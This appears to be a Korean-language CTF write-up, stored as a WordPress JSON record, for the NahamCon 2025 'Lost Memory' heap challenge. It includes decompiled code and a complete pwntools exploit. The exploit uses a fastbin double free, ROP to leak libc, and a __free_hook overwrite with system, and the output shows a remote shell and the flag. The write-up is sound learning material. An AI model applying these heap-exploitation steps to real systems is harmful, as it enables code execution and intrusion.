{"id":3683,"date":"2025-05-27T22:32:55","date_gmt":"2025-05-27T13:32:55","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3683"},"modified":"2025-05-27T22:32:56","modified_gmt":"2025-05-27T13:32:56","slug":"nahamcon-2025-ctf-lost-memory-fastbin_dup-free_hook","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3683","title":{"rendered":"[NahamCon 2025 CTF] Lost Memory (fastbin_dup, free_hook)"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">checksec<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@a4852d66fed7:~\/study\/naham2025\/lost_memory$ checksec .\/lost_memory \n[*] '\/home\/ubuntu\/study\/naham2025\/lost_memory\/lost_memory'\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n    SHSTK:      Enabled\n    IBT:        Enabled\n    Stripped:   No<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">libc.so.6 version<\/h3>\n\n\n\n<p><strong>Ubuntu GLIBC 2.31-0ubuntu9.17<\/strong><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@a4852d66fed7:~\/study\/naham2025\/lost_memory$ .\/libc.so.6\nGNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31.\nCopyright (C) 2020 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 9.4.0.\nlibc ABIs: UNIQUE IFUNC ABSOLUTE\nFor bug reporting instructions, please see:\n&lt;https:\/\/bugs.launchpad.net\/ubuntu\/+source\/glibc\/+bugs>.<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Decompiled-src \/ Analysis<\/h3>\n\n\n\n<p>menu \ud568\uc218\ub97c \ubcf4\uba74 \uc54c\ub2e4\uc2dc\ud53c 5\uac00\uc9c0 \uc874\uc7ac\ud55c\ub2e4.<\/p>\n\n\n\n<p>\uc778\ub371\uc2a4\ub97c \uc9c0\uc815\ud558\uc5ec \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\uac70\ub098 \ud574\uc81c, \ub370\uc774\ud130\ub97c \uc4f8 \uc218 \uc788\uc73c\uba70<br>\uc2a4\ud0dd \uac12\uc744 \uc720\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub294 5\ubc88 \uba54\ub274\uac00 \uc874\uc7ac\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void *setup_globals()\n{\n  void *result; \/\/ rax\n  int i; \/\/ [rsp+Ch] [rbp-4h]\n\n  memset(&amp;input, 0, 0x100u);\n  for ( i = 0; i &lt;= 9; ++i )\n  {\n    if ( *(&amp;ptr + i) )\n      *(&amp;ptr + i) = 0;\n    if ( newPtr[i] )\n      newPtr[i] = 0;\n  }\n  memIndex = 0;\n  result = memset(ptrSize, 0, sizeof(ptrSize));\n  choice = 0;\n  size = 0;\n  return result;\n}\n\nint menu()\n{\n  puts(\"1. Allocate Memory\");\n  puts(\"2. Write to Memory\");\n  puts(\"3. Select Index\");\n  puts(\"4. Free Memory\");\n  puts(\"5. Store Flag Return Value\");\n  puts(\"6. Exit\");\n  return puts(\"Enter your choice:\");\n}\n\nint vuln()\n{\n  __int64 v1; \/\/ rbx\n  _QWORD v2[3]; \/\/ [rsp+8h] [rbp-18h] BYREF\n\n  v2[0] = 0xDEADBEEFDEADBEEFLL;\n  setup_globals();\n  while ( 1 )\n  {\n    while ( 1 )\n    {\n      while ( 1 )\n      {\n        while ( 1 )\n        {\n          while ( 1 )\n          {\n            choice = 0;\n            menu();\n            fflush(stdin);\n            fgets(&amp;input, 256, stdin);\n            choice = atoi(&amp;input);\n            memset(&amp;input, 0, 0x100u);\n            size = 0;\n            if ( choice != 1 )\n              break;\n            puts(\"What size would you like?\");\n            fgets(&amp;input, 256, stdin);\n            size = atol(&amp;input);\n            memset(&amp;input, 0, 0x100u);\n            if ( size > 0x100 )\n              return puts(\"Size too large\");\n            v1 = memIndex;\n            *(&amp;ptr + v1) = malloc(size);\n            ptrSize[memIndex] = size;\n            puts(\"Allocated memory\");\n          }\n          if ( choice != 2 )\n            break;\n          puts(\"What would you like to write?\");\n          fflush(stdin);\n          fgets(&amp;input, 256, stdin);\n          if ( !input )\n            return puts(\"No input provided\");\n          puts(\"Writing to memory...\");\n          memcpy(*(&amp;ptr + memIndex), &amp;input, ptrSize[memIndex]);\n          printf(\"ptr[memIndex] = %s\\n\", (const char *)*(&amp;ptr + memIndex));\n          printf(\"input = %s\\n\", &amp;input);\n          memset(&amp;input, 0, 0x100u);\n        }\n        if ( choice != 3 )\n          break;\n        printf(\"Select an index to write to (0 - %d)\\n \", 9);\n        fgets(&amp;input, 256, stdin);\n        memIndex = atol(&amp;input);\n        memset(&amp;input, 0, 0x100u);\n        if ( (unsigned __int64)memIndex > 9 )\n          return puts(\"Invalid index\");\n      }\n      if ( choice != 4 )\n        break;\n      if ( *(&amp;ptr + memIndex) )\n      {\n        puts(\"Freeing memory...\");\n        free(*(&amp;ptr + memIndex));\n      }\n      else\n      {\n        puts(\"No memory to free\");\n      }\n    }\n    if ( choice != 5 )\n      break;\n    puts(\"Storing flag return value\");\n    *(_QWORD *)*(&amp;ptr + memIndex) = v2;\n    printf(\"Stored return value: %p\\n\", *(const void **)*(&amp;ptr + memIndex));\n    printf(\"Stored return value: %p\\n\", v2);\n  }\n  if ( choice == 6 )\n    return puts(\"Exiting...\");\n  else\n    return puts(\"Invalid choice\");\n}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Solution<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">1. tcache \uac00\ub4dd \ucc44\uc6b0\uae30 \/ \uc2a4\ud0dd\uc8fc\uc18c \ub204\ucd9c\ud558\uae30<\/h3>\n\n\n\n<p>\uba3c\uc800 \uc778\ub371\uc2a4 0\uc744 \uc9c0\uc815\ud574 \ud560\ub2f9\ud574\uc900\ub2e4\uc74c, \uc2a4\ud0dd\uc8fc\uc18c\ub97c \ub204\ucd9c\uc2dc\ud0a8\ub2e4. <br>\uadf8\ub7f0 \ub2e4\uc74c 6\ubc88 \ub354 \ud560\ub2f9\ud788\uc57c \ucd94\ud6c4 tcache\ub97c \ucc44\uc6b0\uae30 \uc704\ud574 \uc900\ube44\uc791\uc5c5\uc744 \ud55c\ub2e4.<\/p>\n\n\n\n<p>\uc774\ud6c4 3\ubc88 \ub354 \ud560\ub2f9\uc2dc\ucf1c \ucd94\ud6c4 fastbin\uc5d0 \ub123\uc744 \uc900\ube44\ub97c \ud55c\ub2e4.<\/p>\n\n\n\n<p>fastbin\uc5d0 \uc18d\ud558\uae30 \uc704\ud574 malloc\ud06c\uae30\ub294 0x20\uc73c\ub85c \uc9c0\uc815\ud574\uc8fc\uc5c8\uace0, <br>\uc774\uc81c tcache\ub97c \ucc44\uc6b0\uae30 \uc704\ud574 \ucc98\uc74c \ud560\ub2f9\ud588\ub358 \uc778\ub371\uc2a4\ubd80\ud130 \uc2dc\uc791\ud558\uc5ec \ud560\ub2f9\ud574\uc81c\ub97c \uc2dc\ucf1c\uc900\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">select_index(0)\nalloc(0x20)\nwrite_mem(b\"AAAA\")\n\na, b = leak_mem()\ninfo(f\"leak a:{a}, b:{b}\")\n\nfor i in range(1, 7):\n    select_index(i)\n    alloc(0x20)\n\nfor i in range(7, 10):\n    select_index(i)\n    alloc(0x20)\n\nfor i in range(0, 7):\n    select_index(i)\n    free_mem()<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Result<\/li>\n<\/ul>\n\n\n\n<p>\ubcf4\ub2e4\uc2dc\ud53c tcache\uc5d0 7\ubc88 \uac00\ub4dd\ucc44\uc6cc\uc9c4 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@a4852d66fed7:~\/study\/naham2025\/lost_memory$ python3 solve2.py\n[+] Starting local process '.\/lost_memory': pid 1107\n[*] leak a:b'0x7fffffffe4a8', b:b'0x7fffffffe4a8'\n\ngdb -p 1107\n...\n\ngdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x405470 (size : 0x20b90) \n       last_remainder: 0x0 (size : 0x0) \n            unsortbin: 0x0\n(0x30)   tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0\ngdb-peda$ <\/pre>\n\n\n\n<p>\uc774\ud6c4\ubd80\ud130 \uc778\ub371\uc2a4 7\uc744 \uc120\ud0dd\ud574 free\uc2dc\ud0a4\uba74, \uadf8\ub54c\ubd80\ud130\ub294 fastbin\uc5d0 \ub4e4\uc5b4\uac00\uac8c \ub41c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uacb0\uacfc<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x4053e0 --> 0x0\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x405470 (size : 0x20b90) \n       last_remainder: 0x0 (size : 0x0) \n            unsortbin: 0x0\n(0x30)   tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. fastbin_dup \ubc84\uadf8 \ud2b8\ub9ac\uac70<\/h3>\n\n\n\n<p>tcache\uc5d0 7\ubc88 \uac00\ub4dd\ucc44\uc6b0\uba74, \uadf8 \uc774\ud6c4\ubd80\ud130\ub294 fastbin\uc5d0 \ub4e4\uc5b4\uac00\uac8c \ub41c\ub2e4.<\/p>\n\n\n\n<p>free list\uc758 top\uc5d0 \ud574\ub2f9\ub418\uc9c0\ub9cc \uc54a\uc73c\uba74, double-free\ub97c \ud2b8\ub9ac\uac70\uc2dc\ud0ac \uc218 \uc788\uae30\uc5d0<br>\uc21c\uc11c\ub300\ub85c 7, 8, 7 \uc778\ub371\uc2a4\uc5d0 \ud560\ub2f9\ub41c \uba54\ubaa8\ub9ac\ub97c \ud574\uc81c\uc2dc\ucf1c\uc900\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Trigger fastbin_dup\nselect_index(7)\nfree_mem()\nselect_index(8)\nfree_mem()\nselect_index(7)\nfree_mem()<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uacb0\uacfc<\/li>\n<\/ul>\n\n\n\n<p>\uc774\uc81c tcache \ub9ac\uc2a4\ud2b8\uc758 \uba54\ubaa8\ub9ac \ud560\ub2f9\uc744 \uc804\ubd80 \ub2e4\ud558\uace0 \ub098\uba74(=\uc804\ubd80 \ube44\uc6b0\uac8c \ub418\uba74), <br>\uadf8 \uc774\ud6c4 fastbin \ub9ac\uc2a4\ud2b8\ub97c \ubcf4\ub2e4\uc2dc\ud53c 1\ubc88\uc9f8\uc640 3\ubc88\uc9f8\uc758 \ud560\ub2f9\ubc1b\ub294 \uc8fc\uc18c\uac00 \uc11c\ub85c \uac19\uac8c \ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) )\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x405470 (size : 0x20b90) \n       last_remainder: 0x0 (size : 0x0) \n            unsortbin: 0x0\n(0x30)   tcache_entry[1](7): 0x4053c0 --> 0x405390 --> 0x405360 --> 0x405330 --> 0x405300 --> 0x4052d0 --> 0x4052a0\ngdb-peda$ <\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3. tache \ub9ac\uc2a4\ud2b8 \ube44\uc6b0\uae30<\/h3>\n\n\n\n<p>tcache \ub9ac\uc2a4\ud2b8\uc5d0 \ucc44\uc6cc\uc9c4 \uac83\ub4e4\uc744 \ube44\uc6b0\uae30 \uc704\ud574 <br>\uac19\uc740 \ud06c\uae30\ub85c 7\ubc88 \ub2e4\uc2dc \ud560\ub2f9\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#empty tcache\nfor i in range(0, 7):\n    select_index(i)\n    alloc(0x20)<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\uacb0\uacfc<\/li>\n<\/ul>\n\n\n\n<p>\ubcf4\ub2e4\uc2dc\ud53c tcache\uc5d0 \uc788\ub358 \ub9ac\uc2a4\ud2b8\uac12\ub4e4\uc774 \uc0ac\ub77c\uc84c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ heapinfo\n(0x20)     fastbin[0]: 0x0\n(0x30)     fastbin[1]: 0x4053e0 --> 0x405410 --> 0x4053e0 (overlap chunk with 0x4053e0(freed) )\n(0x40)     fastbin[2]: 0x0\n(0x50)     fastbin[3]: 0x0\n(0x60)     fastbin[4]: 0x0\n(0x70)     fastbin[5]: 0x0\n(0x80)     fastbin[6]: 0x0\n(0x90)     fastbin[7]: 0x0\n(0xa0)     fastbin[8]: 0x0\n(0xb0)     fastbin[9]: 0x0\n                  top: 0x405470 (size : 0x20b90) \n       last_remainder: 0x0 (size : 0x0) \n            unsortbin: 0x0<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">4. fd\uac12\uc744 \uc218\uc815\ud558\uc5ec AAW 1\ub2e8\uacc4 \/ ROP chain\uc744 \ud1b5\ud55c libc base \uc8fc\uc18c \uacc4\uc0b0<\/h3>\n\n\n\n<p>\uc774\uc81c fastbin\uc73c\ub85c\ubd80\ud130 \uba54\ubaa8\ub9ac \uc8fc\uc18c\ub97c \ud560\ub2f9\ubc1b\ub294\ub2e4.<\/p>\n\n\n\n<p>fd \uac12\uc744 \uc218\uc815\ud558\uc5ec \ub2e4\uc74c 4\ubc88\uc9f8\uc5d0\uc11c \ud560\ub2f9\ubc1b\uac8c\ub420 \uc8fc\uc18c\ub97c vuln \ud568\uc218\uc758 rbp \uc8fc\uc18c\ub85c \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4e0\ub2e4.<br>vuln\u2019s RET \uc8fc\uc18c\uc5d0\ub2e4\uac00 puts(puts@got) + vuln \uc8fc\uc18c\uc640 \ud568\uaed8 ROP Chain\uc744 \uad6c\uc131\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">vuln_rbp = int(a, 16) + 0x18\nwhere = vuln_rbp\n\nselect_index(7)\nalloc(0x20)\nwrite_mem(p64(where+8))\n\nselect_index(8)\nalloc(0x20)\n\nalloc(0x20)\n\nselect_index(9)\nalloc(0x20)\n\npop_rdi_ret = 0x40132e\nwhat = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln)\nwrite_mem(what)\n\nsla(\"Enter your choice:\\n\", \"6\")\nru(\"Exiting...\\n\")\nleak = r(6)\nleak = uu64(leak)\ninfo(f\"leak: {hex(leak)}\")\nl.address = leak - l.sym.puts\ninfo(f\"libc_base: {hex(l.address)}\")<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">5. AAW 2\ub2e8\uacc4 \/ free_hook\uc744 system \ud568\uc218\ub85c \ub36e\uc5b4\uc4f0\uae30<\/h3>\n\n\n\n<p>ROP chain\uc774 \ubb34\uc0ac\ud788 \ub05d\ub0ac\ub2e4\uba74, puts \uc8fc\uc18c\uac00 \ub204\ucd9c\ub418\uc5c8\uc744\uac70\uace0 \ub2e4\uc2dc vuln \ud568\uc218\ub85c \ub3cc\uc544\uac00\uac8c \ub41c\ub2e4.<\/p>\n\n\n\n<p>\uc774\uc804 1~4\ubc88\uc744 \ud1b5\ud574 \ud55c\ubc88\ub354 fastbin_dup \ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70\ud558\uc5ec AAW\ud558\ub294\ub370, <br>\uc774\ubc88\uc5d0\ub294 free_hook \ud3ec\uc778\ud130 \uc8fc\uc18c\uc5d0 system \ud568\uc218\ub97c \ub36e\uc5b4\uc368\uc11c \uc258\uc744 \ud68d\ub4dd\ud558\uba74 \ub41c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># 2. fill tcache?\nfor i in range(0, 7):\n    select_index(i)\n    alloc(0x30)\n\nfor i in range(7, 10):\n    select_index(i)\n    alloc(0x30)\n\nfor i in range(0, 7):\n    select_index(i)\n    free_mem()\n\nselect_index(7)\nfree_mem()\nselect_index(8)\nfree_mem()\nselect_index(7)\nfree_mem()\n\n#empty tcache\nfor i in range(0, 7):\n    select_index(i)\n    alloc(0x30)\n\n#Let's AAW2!\nwhere = l.sym.__free_hook\n\nselect_index(7)\nalloc(0x30)\nwrite_mem(p64(where))\n\nselect_index(8)\nalloc(0x30)\n\nalloc(0x30)\nwrite_mem(b\"\/bin\/sh\\x00\")\n\nselect_index(9)\nalloc(0x30)\n\n\nwhat = p64(l.sym.system)\nwrite_mem(what)\n\nselect_index(8)\nfree_mem()\n\npi()<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">solve.py<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\n# p = process(\".\/lost_memory\")\np = remote(\"challenge.nahamcon.com\", 31899)\ne = ELF('.\/lost_memory',checksec=False)\n# l = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False)\nl = ELF('.\/libc.so.6', checksec=False)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\ndef alloc(size):\n    sla(\"Enter your choice:\\n\", \"1\")\n    sla(\"What size would you like?\", str(size))\n\ndef select_index(idx):\n    sla(\"Enter your choice:\\n\", \"3\")\n    sl(str(idx))\n\ndef write_mem(what):\n    sla(\"Enter your choice:\\n\", \"2\")\n    sla(b\"What would you like to write?\\n\", what)\n\ndef free_mem():\n    sl(\"4\")\n\ndef leak_mem():\n    sl(\"5\")\n    ru(b\"Storing flag return value\\n\")\n    a = rl().split(b\"Stored return value: \")[1].strip()\n    b = rl().split(b\"Stored return value: \")[1].strip()\n    return a, b\n\n# 1. fill tcache?\nselect_index(0)\nalloc(0x20)\nwrite_mem(b\"AAAA\")\n\na, b = leak_mem()\ninfo(f\"leak a:{a}, b:{b}\")\n\nfor i in range(1, 7):\n    select_index(i)\n    alloc(0x20)\n\nfor i in range(7, 10):\n    select_index(i)\n    alloc(0x20)\n\nfor i in range(0, 7):\n    select_index(i)\n    free_mem()\n\n# Trigger fastbin_dup\nselect_index(7)\nfree_mem()\nselect_index(8)\nfree_mem()\nselect_index(7)\nfree_mem()\n\n#empty tcache\nfor i in range(0, 7):\n    select_index(i)\n    alloc(0x20)\n\n\n#Let's AAW!\nvuln_rbp = int(a, 16) + 0x18\nwhere = vuln_rbp\n\nselect_index(7)\nalloc(0x20)\nwrite_mem(p64(where+8))\n\nselect_index(8)\nalloc(0x20)\n\nalloc(0x20)\n\nselect_index(9)\nalloc(0x20)\n\n\npop_rdi_ret = 0x40132e\nwhat = p64(pop_rdi_ret) + p64(e.got.puts) + p64(e.sym.puts) + p64(e.sym.vuln)\nwrite_mem(what)\n\nsla(\"Enter your choice:\\n\", \"6\")\nru(\"Exiting...\\n\")\nleak = r(6)\nleak = uu64(leak)\ninfo(f\"leak: {hex(leak)}\")\nl.address = leak - l.sym.puts\ninfo(f\"libc_base: {hex(l.address)}\")\n\n# 2. fill tcache?\nfor i in range(0, 7):\n    select_index(i)\n    alloc(0x30)\n\nfor i in range(7, 10):\n    select_index(i)\n    alloc(0x30)\n\nfor i in range(0, 7):\n    select_index(i)\n    free_mem()\n\nselect_index(7)\nfree_mem()\nselect_index(8)\nfree_mem()\nselect_index(7)\nfree_mem()\n\n#empty tcache\nfor i in range(0, 7):\n    select_index(i)\n    alloc(0x30)\n\n#Let's AAW2!\nwhere = l.sym.__free_hook\n\nselect_index(7)\nalloc(0x30)\nwrite_mem(p64(where))\n\nselect_index(8)\nalloc(0x30)\n\nalloc(0x30)\nwrite_mem(b\"\/bin\/sh\\x00\")\n\nselect_index(9)\nalloc(0x30)\n\n\nwhat = p64(l.sym.system)\nwrite_mem(what)\n\nselect_index(8)\nfree_mem()\n\npi()\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Result<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@a4852d66fed7:~\/study\/naham2025\/lost_memory$ python3 solve2.py\n[+] Opening connection to challenge.nahamcon.com on port 31899: Done\n[*] leak a:b'0x7ffd5b1d1358', b:b'0x7ffd5b1d1358'\n[*] leak: 0x7dc31429d420\n[*] libc_base: 0x7dc314219000\n[*] Switching to interactive mode\nSelect an index to write to (0 - 9)\n 1. Allocate Memory\n2. Write to Memory\n3. Select Index\n4. Free Memory\n5. Store Flag Return Value\n6. Exit\nEnter your choice:\nFreeing memory...\n$ ls\nflag.txt\nlost_memory\n$ cat flag.txt\nflag{2658c992bda627329ed2a8e6225623c6}$ \n[*] Interrupted\n[*] Closed connection to challenge.nahamcon.com port 31899<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>checksec libc.so.6 version Ubuntu GLIBC 2.31-0ubuntu9.17 Decompiled-src \/ Analysis menu \ud568\uc218\ub97c \ubcf4\uba74 \uc54c\ub2e4\uc2dc\ud53c 5\uac00\uc9c0 \uc874\uc7ac\ud55c\ub2e4. \uc778\ub371\uc2a4\ub97c \uc9c0\uc815\ud558\uc5ec \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\uac70\ub098 \ud574\uc81c, \ub370\uc774\ud130\ub97c \uc4f8 \uc218 \uc788\uc73c\uba70\uc2a4\ud0dd \uac12\uc744 \uc720\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub294 5\ubc88 \uba54\ub274\uac00&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3683\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[NahamCon 2025 CTF] Lost Memory (fastbin_dup, free_hook)<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[19],"tags":[54,63,62,35,25],"class_list":["post-3683","post","type-post","status-publish","format-standard","hentry","category-ctf-private","tag-fastbin_dup","tag-free_hook","tag-glibc_2-31","tag-heap","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3683","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3683"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3683\/revisions"}],"predecessor-version":[{"id":3684,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3683\/revisions\/3684"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3683"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3683"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3683"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}